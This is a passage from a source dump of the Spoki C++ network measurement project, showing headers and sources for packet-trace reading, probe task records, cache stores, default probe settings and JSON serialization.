f.field("ttl", x.ttl), f.field("wait", x.wait), 81 | f.field("timeout", x.timeout), f.field("sport", x.sport), 82 | f.field("dport", x.dport), f.field("payload", x.payload), 83 | f.field("flags", x.flags), f.field("responses", x.responses), 84 | f.field("stats", x.stats)); 85 | } 86 | 87 | } // namespace spoki::scamper 88 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/target_key.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include "caf/ipv4_address.hpp" 16 | 17 | #include "spoki/detail/core_export.hpp" 18 | #include "spoki/hashing.hpp" 19 | 20 | namespace spoki { 21 | 22 | /// Info to determin if we should request a probe to a target. Protocol is 23 | /// omitted because we use separate sets to check. 24 | struct SPOKI_CORE_EXPORT target_key { 25 | caf::ipv4_address saddr; 26 | bool is_scanner_like; 27 | }; 28 | 29 | /// Equality comparison operator for target_key. 30 | SPOKI_CORE_EXPORT inline bool operator==(const target_key& lhs, 31 | const target_key& rhs) { 32 | return lhs.saddr == rhs.saddr && lhs.is_scanner_like == rhs.is_scanner_like; 33 | } 34 | 35 | /// Enable serialization by CAF. 36 | template 37 | typename Inspector::result_type inspect(Inspector& f, target_key& x) { 38 | return f.object(x).fields(f.field("saddr", x.saddr), 39 | f.field("is_scanner_like", x.is_scanner_like)); 40 | } 41 | 42 | } // namespace spoki 43 | 44 | namespace std { 45 | 46 | template <> 47 | struct hash { 48 | size_t operator()(const spoki::target_key& x) const { 49 | size_t seed = 0; 50 | spoki::hash_combine(seed, x.saddr); 51 | spoki::hash_combine(seed, x.is_scanner_like); 52 | return seed; 53 | } 54 | }; 55 | 56 | } // namespace std 57 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/task.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | 22 | #include 23 | 24 | #include "spoki/detail/core_export.hpp" 25 | #include "spoki/fwd.hpp" 26 | #include "spoki/packet.hpp" 27 | 28 | namespace spoki { 29 | 30 | /// An event bundles the information of a trigger with the data points of the 31 | /// probes and a classitifacion for the probes sequence and a consistency 32 | /// evaluation. 33 | struct SPOKI_CORE_EXPORT task { 34 | // -- constructors ----------------------------------------------------------- 35 | 36 | task(packet initial = {}, std::vector data_points = {}); 37 | 38 | task(const task&) = default; 39 | task(task&&) = default; 40 | task& operator=(task&&) = default; 41 | task& operator=(const task&) = default; 42 | 43 | // -- members ---------------------------------------------------------------- 44 | 45 | /// The observation that triggered this task. 46 | packet initial; 47 | 48 | /// Classification of the IP id sequence in the events. (Only for ICMP & UDP.) 49 | analysis::classification type; 50 | 51 | /// Consistency assumption, either IP id check or handshake spoofing. 52 | bool consistent; 53 | 54 | /// Depending on the characteristics of the original packet we might suspect 55 | /// it to be sent by a scanner. 56 | bool suspected_scanner; 57 | 58 | /// Only used to reset TCP connections. 59 | uint32_t last_anum; 60 | 61 | /// Number of probes send to the target. 62 | uint32_t num_probes; 63 | 64 | /// Events we collected in response to out probing. 65 | std::vector packets; 66 | }; 67 | 68 | /// Print a task. 69 | SPOKI_CORE_EXPORT std::string to_string(const task& t); 70 | 71 | // -- JSON --------------------------------------------------------------------- 72 | 73 | void to_json(nlohmann::json& j, const task& x); 74 | 75 | void from_json(const nlohmann::json&, task&); 76 | 77 | // -- CAF serialization -------------------------------------------------------- 78 | 79 | /// Enable serialization by CAF. 80 | template 81 | typename Inspector::result_type inspect(Inspector& f, task& x) { 82 | return f.object(x).fields(f.field("initial", x.initial), 83 | f.field("type", x.type), 84 | f.field("consistent", x.consistent), 85 | f.field("suspected_scanner", x.suspected_scanner), 86 | f.field("last_anum", x.last_anum), 87 | f.field("num_probes", x.num_probes), 88 | f.field("packets", x.packets)); 89 | } 90 | 91 | } // namespace spoki 92 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/time.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "spoki/detail/core_export.hpp" 20 | 21 | namespace spoki { 22 | 23 | /// Stick to the timestamp type in CAF. 24 | using timestamp = caf::timestamp; 25 | 26 | /// Stick to the timespan type in CAF. 27 | using timespan = caf::timespan; 28 | 29 | /// Create new timestamps. 30 | using caf::make_timestamp; 31 | 32 | /// Conversion from timeval to a C++ time point. 33 | SPOKI_CORE_EXPORT std::chrono::system_clock::time_point to_time_point(timeval tv); 34 | 35 | /// Conversion from timeval to a C++ duration. 36 | SPOKI_CORE_EXPORT std::chrono::system_clock::duration to_duration(timeval tv); 37 | 38 | /// Conversion to timeval for pretty printing. 39 | SPOKI_CORE_EXPORT timeval to_timeval(timestamp tp); 40 | 41 | inline spoki::timestamp::rep to_count(const timestamp& ts) { 42 | using namespace std::chrono; 43 | auto ep = time_point_cast(ts).time_since_epoch(); 44 | auto in_ms = duration_cast(ep); 45 | return in_ms.count(); 46 | } 47 | 48 | } // namespace spoki 49 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/trace/processing.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "spoki/config.hpp" 20 | 21 | SPOKI_PUSH_WARNINGS 22 | #include 23 | SPOKI_POP_WARNINGS 24 | 25 | namespace spoki::trace { 26 | 27 | /// Processing function for libtrace that creates state for each thread. 28 | void* start_processing(libtrace_t*, libtrace_thread_t*, void*); 29 | 30 | /// Processing function for libtrace that is called for each packet. 31 | /// The global storage `gs` is shared across threads, while the thread 32 | /// local storage `tls` is unique for each thread. 33 | libtrace_packet_t* per_packet(libtrace_t*, libtrace_thread_t*, void*, void* tls, 34 | libtrace_packet_t* packet); 35 | 36 | /// Processing function called when a thread processed all its 37 | /// packets. Results are passed to the reporting thread via 38 | /// the publish call. 39 | void stop_processing(libtrace_t* trace, libtrace_thread_t* thread, void*, 40 | void* tls); 41 | 42 | } // namespace spoki::trace 43 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/trace/reader.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #include 22 | 23 | #include "spoki/config.hpp" 24 | #include "spoki/detail/core_export.hpp" 25 | #include "spoki/trace/instance.hpp" 26 | 27 | SPOKI_PUSH_WARNINGS 28 | #include 29 | SPOKI_POP_WARNINGS 30 | 31 | namespace spoki::trace { 32 | 33 | /// Unqiue pointer to hold a libtrace raw pointer. 34 | using trace_ptr = std::unique_ptr>; 35 | 36 | /// Unqiue ptr to hold a raw pointer to a libtrace callback set. 37 | using callback_set_ptr 38 | = std::unique_ptr>; 40 | 41 | /// State for a reader actor which manages libtrace instances. 42 | struct SPOKI_CORE_EXPORT reader_state { 43 | uint64_t ids; 44 | std::unordered_map> states; 45 | std::unordered_map traces; 46 | std::unordered_set filter; 47 | std::vector probers; 48 | bool statistics; 49 | caf::actor stats_handler; 50 | static const char* name; 51 | // stats 52 | size_t dropped = 0; 53 | size_t accepted = 0; 54 | size_t errors = 0; 55 | }; 56 | 57 | /// Returns the behavior for a reader actor which will route data 58 | /// from incoming packets to the `probers` where data from the same 59 | /// IP should end up at the same probe actor. The forwarded data 60 | /// includes the IP address, the receipt timestamp and its IP ID. 61 | SPOKI_CORE_EXPORT caf::behavior reader(caf::stateful_actor* self, 62 | std::vector probers); 63 | 64 | /// Returns the behavior for a reader actor which will route data 65 | /// from incoming packets to the `probers` where data from the same 66 | /// IP should end up at the same probe actor. The forwarded data 67 | /// includes the IP address, the receipt timestamp and its IP ID. 68 | SPOKI_CORE_EXPORT caf::behavior 69 | reader_with_filter(caf::stateful_actor* self, 70 | std::vector probers, 71 | std::unordered_set filter); 72 | 73 | } // namespace spoki::trace 74 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/trace/reporting.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "spoki/config.hpp" 20 | 21 | SPOKI_PUSH_WARNINGS 22 | #include 23 | SPOKI_POP_WARNINGS 24 | 25 | namespace spoki::trace { 26 | 27 | /// Callback when the result collector starts. 28 | void* start_reporting(libtrace_t*, libtrace_thread_t*, void*); 29 | 30 | /// Called for each result from a processing thread. 31 | void per_result(libtrace_t*, libtrace_thread_t*, void*, void* tls, 32 | libtrace_result_t* res); 33 | 34 | /// Called after all results are processed. 35 | void stop_reporting(libtrace_t*, libtrace_thread_t*, void*, void* tls); 36 | 37 | } // namespace spoki::trace 38 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/unique_c_ptr.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | #include "spoki/detail/core_export.hpp" 20 | 21 | namespace spoki { 22 | 23 | /// Custom deleter to cleanup raw C pointer wrapped in a std::unique_ptr. 24 | struct SPOKI_CORE_EXPORT c_deleter { 25 | template 26 | void operator()(T* ptr) { 27 | // IIRC C++ allows delete on const pointers, but free doesn't. 28 | std::free(const_cast::type*>(ptr)); 29 | } 30 | }; 31 | 32 | /// Unique ptr to a raw C pointer. 33 | template 34 | using unique_c_ptr = std::unique_ptr; 35 | 36 | } // namespace spoki 37 | -------------------------------------------------------------------------------- /spoki/libspoki/src/analysis/classification_strings.cpp: -------------------------------------------------------------------------------- 1 | // clang-format off 2 | // DO NOT EDIT: this file is auto-generated by generate-enum-strings. 3 | // Run the target update-enum-strings if this file is out of sync. 4 | #include "spoki/config.hpp" 5 | #include "caf/string_view.hpp" 6 | 7 | SPOKI_PUSH_DEPRECATED_WARNING 8 | 9 | #include "spoki/analysis/classification.hpp" 10 | 11 | #include 12 | 13 | namespace spoki::analysis { 14 | 15 | std::string to_string(classification x) { 16 | switch(x) { 17 | default: 18 | return "???"; 19 | case classification::unchecked: 20 | return "spoki::analysis::classification::unchecked"; 21 | case classification::constant: 22 | return "spoki::analysis::classification::constant"; 23 | case classification::random: 24 | return "spoki::analysis::classification::random"; 25 | case classification::monotonic: 26 | return "spoki::analysis::classification::monotonic"; 27 | case classification::other: 28 | return "spoki::analysis::classification::other"; 29 | }; 30 | } 31 | 32 | bool from_string(caf::string_view in, classification& out) { 33 | if (in == "spoki::analysis::classification::unchecked") { 34 | out = classification::unchecked; 35 | return true; 36 | } else if (in == "spoki::analysis::classification::constant") { 37 | out = classification::constant; 38 | return true; 39 | } else if (in == "spoki::analysis::classification::random") { 40 | out = classification::random; 41 | return true; 42 | } else if (in == "spoki::analysis::classification::monotonic") { 43 | out = classification::monotonic; 44 | return true; 45 | } else if (in == "spoki::analysis::classification::other") { 46 | out = classification::other; 47 | return true; 48 | } else { 49 | return false; 50 | } 51 | } 52 | 53 | bool from_integer(std::underlying_type_t in, 54 | classification& out) { 55 | auto result = static_cast(in); 56 | switch(result) { 57 | default: 58 | return false; 59 | case classification::unchecked: 60 | case classification::constant: 61 | case classification::random: 62 | case classification::monotonic: 63 | case classification::other: 64 | out = result; 65 | return true; 66 | }; 67 | } 68 | 69 | } // namespace spoki::analysis 70 | 71 | SPOKI_POP_WARNINGS 72 | -------------------------------------------------------------------------------- /spoki/libspoki/src/cache/entry.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include 14 | 15 | #include "spoki/cache/entry.hpp" 16 | 17 | namespace spoki::cache { 18 | 19 | std::string to_string(const entry& e) { 20 | std::stringstream ss; 21 | using namespace std::chrono; 22 | auto ep = time_point_cast(e.ts).time_since_epoch(); 23 | auto in_ms = std::chrono::duration_cast(ep); 24 | ss << in_ms.count() << ", " << (e.consistent ? "true" : "false"); 25 | return ss.str(); 26 | } 27 | 28 | } // namespace spoki::cache 29 | -------------------------------------------------------------------------------- /spoki/libspoki/src/cache/rotating_store.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include 14 | 15 | #include "spoki/cache/rotating_store.hpp" 16 | 17 | namespace { 18 | 19 | constexpr auto no_duration = std::chrono::time_point< 20 | std::chrono::system_clock, std::chrono::milliseconds>::duration(0); 21 | 22 | } // namespace 23 | 24 | namespace spoki::cache { 25 | 26 | rotating_store::rotating_store() 27 | : data_(1), default_{timestamp{no_duration}, false} { 28 | // nop 29 | } 30 | 31 | void rotating_store::insert(const caf::ipv4_address& addr, const entry& e) { 32 | // TODO: Before first full rotation, insert data into random store. 33 | data_.front()[addr] = e; 34 | } 35 | 36 | bool rotating_store::contains(const caf::ipv4_address& addr) const { 37 | return std::any_of(std::begin(data_), std::end(data_), 38 | [&addr](const internal_container_type& d) { 39 | return d.count(addr) > 0; 40 | }); 41 | } 42 | 43 | const entry& rotating_store::operator[](const caf::ipv4_address& addr) const { 44 | for (auto& d : data_) { 45 | if (d.count(addr) > 0) 46 | return d.at(addr); 47 | } 48 | return default_; 49 | } 50 | 51 | rotating_store::size_type rotating_store::size() const { 52 | size_type s = 0; 53 | for (auto& d : data_) 54 | s += d.size(); 55 | return s; 56 | } 57 | 58 | void rotating_store::rotate(size_t max) { 59 | data_.insert(std::begin(data_), internal_container_type()); 60 | if (data_.size() > max) 61 | data_.pop_back(); 62 | } 63 | 64 | } // namespace spoki::cache 65 | -------------------------------------------------------------------------------- /spoki/libspoki/src/cache/store.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include 14 | 15 | #include "spoki/cache/store.hpp" 16 | 17 | namespace { 18 | 19 | constexpr auto no_duration = std::chrono::time_point< 20 | std::chrono::system_clock, std::chrono::milliseconds>::duration(0); 21 | 22 | } // namespace 23 | 24 | namespace spoki::cache { 25 | 26 | const entry store::default_ = entry{timestamp{no_duration}, false}; 27 | 28 | store::store(const std::unordered_map& data) 29 | : data_{data} { 30 | // nop 31 | } 32 | 33 | void store::merge(const store& other) { 34 | for (auto& val : other.data_) 35 | merge(val.first, val.second); 36 | } 37 | 38 | void store::merge(const caf::ipv4_address& addr, const entry& e) { 39 | // TODO: Record changes to minimize change set. 40 | if (contains(addr)) { 41 | auto& existing = data_[addr]; 42 | // Check time stamp and keep the newer one or merge for conflicts. 43 | if (existing.ts < e.ts) 44 | existing = e; 45 | else if (existing.ts == e.ts) 46 | existing.consistent = existing.consistent && e.consistent; 47 | // else: The existing one is newer, do nothing. 48 | } else { 49 | data_[addr] = e; 50 | } 51 | } 52 | 53 | bool store::contains(const caf::ipv4_address& addr) const { 54 | return data_.count(addr) > 0; 55 | } 56 | 57 | const entry& store::operator[](const caf::ipv4_address& addr) const { 58 | if (contains(addr)) 59 | return data_.at(addr); 60 | return default_; 61 | } 62 | 63 | } // namespace spoki::cache 64 | -------------------------------------------------------------------------------- /spoki/libspoki/src/cache/timeout.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/cache/timeout.hpp" 14 | 15 | #include "spoki/net/icmp.hpp" 16 | #include "spoki/net/tcp.hpp" 17 | #include "spoki/net/udp.hpp" 18 | 19 | namespace spoki::cache { 20 | 21 | namespace { 22 | 23 | struct to_factory_visitor { 24 | timeout operator()(const net::icmp&) { 25 | return icmp_timeout{addr}; 26 | } 27 | timeout operator()(const net::tcp&) { 28 | return tcp_timeout{addr}; 29 | } 30 | timeout operator()(const net::udp&) { 31 | return udp_timeout{addr}; 32 | } 33 | caf::ipv4_address addr; 34 | }; 35 | 36 | } // namespace 37 | 38 | timeout make_timeout(const packet& pkt) { 39 | return caf::visit(to_factory_visitor{pkt.saddr}, pkt.proto); 40 | } 41 | 42 | } // namespace spoki::cache 43 | -------------------------------------------------------------------------------- /spoki/libspoki/src/defaults.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/defaults.hpp" 14 | 15 | #include 16 | #include 17 | 18 | namespace spoki { 19 | namespace defaults { 20 | 21 | namespace cache { 22 | 23 | const std::chrono::minutes cache_cleanup_interval = std::chrono::minutes(5); 24 | const std::chrono::minutes cache_cleanup_timeout = std::chrono::minutes(60); 25 | 26 | const int removal_chance = 4; 27 | const int removal_bottom = 1; 28 | 29 | const uint16_t port_top = std::numeric_limits::max(); 30 | const uint16_t port_bottom = 49152; 31 | 32 | const uint8_t num_tcp_probes = 1; 33 | const uint8_t num_tcp_rst_probes = 2; 34 | const uint8_t num_udp_probes = 5; 35 | const uint8_t num_icmp_probes = 5; 36 | 37 | const size_t expected_probe_replies = 4; 38 | const std::chrono::seconds reply_timeout = std::chrono::seconds(20); 39 | 40 | const std::chrono::seconds reset_delay = std::chrono::seconds(5); 41 | 42 | } // namespace cache 43 | 44 | } // namespace defaults 45 | } // namespace spoki 46 | -------------------------------------------------------------------------------- /spoki/libspoki/src/hashing.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/hashing.hpp" 14 | 15 | namespace spoki { 16 | 17 | // -- trace specific hashes ---------------------------------------------------- 18 | 19 | namespace trace { 20 | 21 | uint64_t static_hash(const libtrace_packet_t*, void*) { 22 | return 0; 23 | } 24 | 25 | uint64_t modulo_hash(uint32_t addr, size_t max) { 26 | return addr % max; 27 | } 28 | 29 | } // namespace trace 30 | } // namespace spoki 31 | -------------------------------------------------------------------------------- /spoki/libspoki/src/net/five_tuple.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/net/five_tuple.hpp" 14 | 15 | #include 16 | 17 | #include "spoki/config.hpp" 18 | 19 | // For convenience. 20 | using json = nlohmann::json; 21 | 22 | namespace spoki::net { 23 | 24 | void to_json(json& j, const five_tuple& x) { 25 | j = json{{"protocol", to_string(x.proto)}, 26 | {"saddr", to_string(x.saddr)}, 27 | {"daddr", to_string(x.daddr)}, 28 | {"sport", x.sport}, 29 | {"dport", x.dport}, 30 | }; 31 | } 32 | 33 | void from_json(const json&, five_tuple&) { 34 | SPOKI_CRITICAL("JSON deserialization not implemented"); 35 | } 36 | 37 | } // namespace caf::net 38 | -------------------------------------------------------------------------------- /spoki/libspoki/src/net/icmp.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/net/icmp.hpp" 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "spoki/config.hpp" 20 | 21 | // For convenience. 22 | using json = nlohmann::json; 23 | 24 | namespace nlohmann { 25 | 26 | template 27 | struct adl_serializer> { 28 | static void to_json(json& j, const caf::optional& opt) { 29 | if (opt) 30 | j = *opt; 31 | else 32 | j = nullptr; 33 | } 34 | 35 | static void from_json(const json& j, caf::optional& opt) { 36 | if (j.is_null()) 37 | opt = caf::none; 38 | else 39 | opt = j.get(); 40 | } 41 | }; 42 | 43 | } // namespace 44 | 45 | namespace spoki::net { 46 | 47 | std::string to_string(const icmp& x) { 48 | std::stringstream s; 49 | s << "icmp(sport " << to_string(x.type) << ")"; 50 | return s.str(); 51 | } 52 | 53 | // -- JSON --------------------------------------------------------------------- 54 | 55 | void to_json(json& j, const icmp& x) { 56 | j = json{{"type", to_string(x.type)}, 57 | {"unreachable", x.unreachable}}; 58 | } 59 | 60 | void from_json(const json&, icmp&) { 61 | SPOKI_CRITICAL("JSON deserialization not implemented"); 62 | } 63 | 64 | } // namespace spoki::net 65 | -------------------------------------------------------------------------------- /spoki/libspoki/src/net/protocol_strings.cpp: -------------------------------------------------------------------------------- 1 | // clang-format off 2 | // DO NOT EDIT: this file is auto-generated by generate-enum-strings. 3 | // Run the target update-enum-strings if this file is out of sync. 4 | #include "spoki/config.hpp" 5 | #include "caf/string_view.hpp" 6 | 7 | SPOKI_PUSH_DEPRECATED_WARNING 8 | 9 | #include "spoki/net/protocol.hpp" 10 | 11 | #include 12 | 13 | namespace spoki::net { 14 | 15 | std::string to_string(protocol x) { 16 | switch(x) { 17 | default: 18 | return "???"; 19 | case protocol::icmp: 20 | return "spoki::net::protocol::icmp"; 21 | case protocol::tcp: 22 | return "spoki::net::protocol::tcp"; 23 | case protocol::udp: 24 | return "spoki::net::protocol::udp"; 25 | case protocol::other: 26 | return "spoki::net::protocol::other"; 27 | }; 28 | } 29 | 30 | bool from_string(caf::string_view in, protocol& out) { 31 | if (in == "spoki::net::protocol::icmp") { 32 | out = protocol::icmp; 33 | return true; 34 | } else if (in == "spoki::net::protocol::tcp") { 35 | out = protocol::tcp; 36 | return true; 37 | } else if (in == "spoki::net::protocol::udp") { 38 | out = protocol::udp; 39 | return true; 40 | } else if (in == "spoki::net::protocol::other") { 41 | out = protocol::other; 42 | return true; 43 | } else { 44 | return false; 45 | } 46 | } 47 | 48 | bool from_integer(std::underlying_type_t in, 49 | protocol& out) { 50 | auto result = static_cast(in); 51 | switch(result) { 52 | default: 53 | return false; 54 | case protocol::icmp: 55 | case protocol::tcp: 56 | case protocol::udp: 57 | case protocol::other: 58 | out = result; 59 | return true; 60 | }; 61 | } 62 | 63 | } // namespace spoki::net 64 | 65 | SPOKI_POP_WARNINGS 66 | -------------------------------------------------------------------------------- /spoki/libspoki/src/net/socket_guard.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/net/socket_guard.hpp" 14 | 15 | #include 16 | 17 | namespace spoki::net { 18 | 19 | socket_guard::socket_guard(int fd) { 20 | fd_ = fd; 21 | } 22 | 23 | socket_guard::~socket_guard() { 24 | close(); 25 | } 26 | 27 | int socket_guard::release() { 28 | auto res = fd_; 29 | fd_ = invalid_socket; 30 | return res; 31 | } 32 | 33 | void socket_guard::close() { 34 | if (fd_ != invalid_socket) { 35 | ::close(fd_); 36 | fd_ = invalid_socket; 37 | } 38 | } 39 | 40 | } // spoki::net 41 | -------------------------------------------------------------------------------- /spoki/libspoki/src/net/tcp_opt.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/net/tcp_opt.hpp" 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "spoki/config.hpp" 20 | 21 | // For convenience. 22 | using json = nlohmann::json; 23 | 24 | namespace nlohmann { 25 | 26 | template 27 | struct adl_serializer> { 28 | static void to_json(json& j, const caf::optional& opt) { 29 | if (opt) 30 | j = *opt; 31 | else 32 | j = nullptr; 33 | } 34 | 35 | static void from_json(const json& j, caf::optional& opt) { 36 | if (j.is_null()) 37 | opt = caf::none; 38 | else 39 | opt = j.get(); 40 | } 41 | }; 42 | 43 | } // namespace nlohmann 44 | 45 | namespace spoki::net { 46 | 47 | // -- pretty string ------------------------------------------------------------ 48 | 49 | std::string option_name(tcp_opt x) { 50 | switch (x) { 51 | default: 52 | return "???"; 53 | case tcp_opt::end_of_list: 54 | return "end_of_list"; 55 | case tcp_opt::noop: 56 | return "noop"; 57 | case tcp_opt::mss: 58 | return "mss"; 59 | case tcp_opt::window_scale: 60 | return "window_scale"; 61 | case tcp_opt::sack_permitted: 62 | return "sack_permitted"; 63 | case tcp_opt::sack: 64 | return "sack"; 65 | case tcp_opt::timestamp: 66 | return "timestamp"; 67 | case tcp_opt::other: 68 | return "other"; 69 | }; 70 | } 71 | 72 | // -- JSON --------------------------------------------------------------------- 73 | 74 | void to_json(json& j, const tcp_opt& x) { 75 | j = to_string(x); 76 | } 77 | 78 | void from_json(const json&, tcp_opt&) { 79 | SPOKI_CRITICAL("JSON deserialization not implemented"); 80 | } 81 | 82 | void to_json(json& j, const tcp_opt_map& x) { 83 | for (auto& p : x) 84 | j[to_string(p.first)] = p.second; 85 | } 86 | 87 | void from_json(const json&, tcp_opt_map&) { 88 | SPOKI_CRITICAL("JSON deserialization not implemented"); 89 | } 90 | 91 | } // namespace spoki::net 92 | -------------------------------------------------------------------------------- /spoki/libspoki/src/net/tcp_opt_strings.cpp: -------------------------------------------------------------------------------- 1 | // clang-format off 2 | // DO NOT EDIT: this file is auto-generated by generate-enum-strings. 3 | // Run the target update-enum-strings if this file is out of sync. 4 | #include "spoki/config.hpp" 5 | #include "caf/string_view.hpp" 6 | 7 | SPOKI_PUSH_DEPRECATED_WARNING 8 | 9 | #include "spoki/net/tcp_opt.hpp" 10 | 11 | #include 12 | 13 | namespace spoki::net { 14 | 15 | std::string to_string(tcp_opt x) { 16 | switch(x) { 17 | default: 18 | return "???"; 19 | case tcp_opt::end_of_list: 20 | return "spoki::net::tcp_opt::end_of_list"; 21 | case tcp_opt::noop: 22 | return "spoki::net::tcp_opt::noop"; 23 | case tcp_opt::mss: 24 | return "spoki::net::tcp_opt::mss"; 25 | case tcp_opt::window_scale: 26 | return "spoki::net::tcp_opt::window_scale"; 27 | case tcp_opt::sack_permitted: 28 | return "spoki::net::tcp_opt::sack_permitted"; 29 | case tcp_opt::sack: 30 | return "spoki::net::tcp_opt::sack"; 31 | case tcp_opt::timestamp: 32 | return "spoki::net::tcp_opt::timestamp"; 33 | case tcp_opt::other: 34 | return "spoki::net::tcp_opt::other"; 35 | }; 36 | } 37 | 38 | bool from_string(caf::string_view in, tcp_opt& out) { 39 | if (in == "spoki::net::tcp_opt::end_of_list") { 40 | out = tcp_opt::end_of_list; 41 | return true; 42 | } else if (in == "spoki::net::tcp_opt::noop") { 43 | out = tcp_opt::noop; 44 | return true; 45 | } else if (in == "spoki::net::tcp_opt::mss") { 46 | out = tcp_opt::mss; 47 | return true; 48 | } else if (in == "spoki::net::tcp_opt::window_scale") { 49 | out = tcp_opt::window_scale; 50 | return true; 51 | } else if (in == "spoki::net::tcp_opt::sack_permitted") { 52 | out = tcp_opt::sack_permitted; 53 | return true; 54 | } 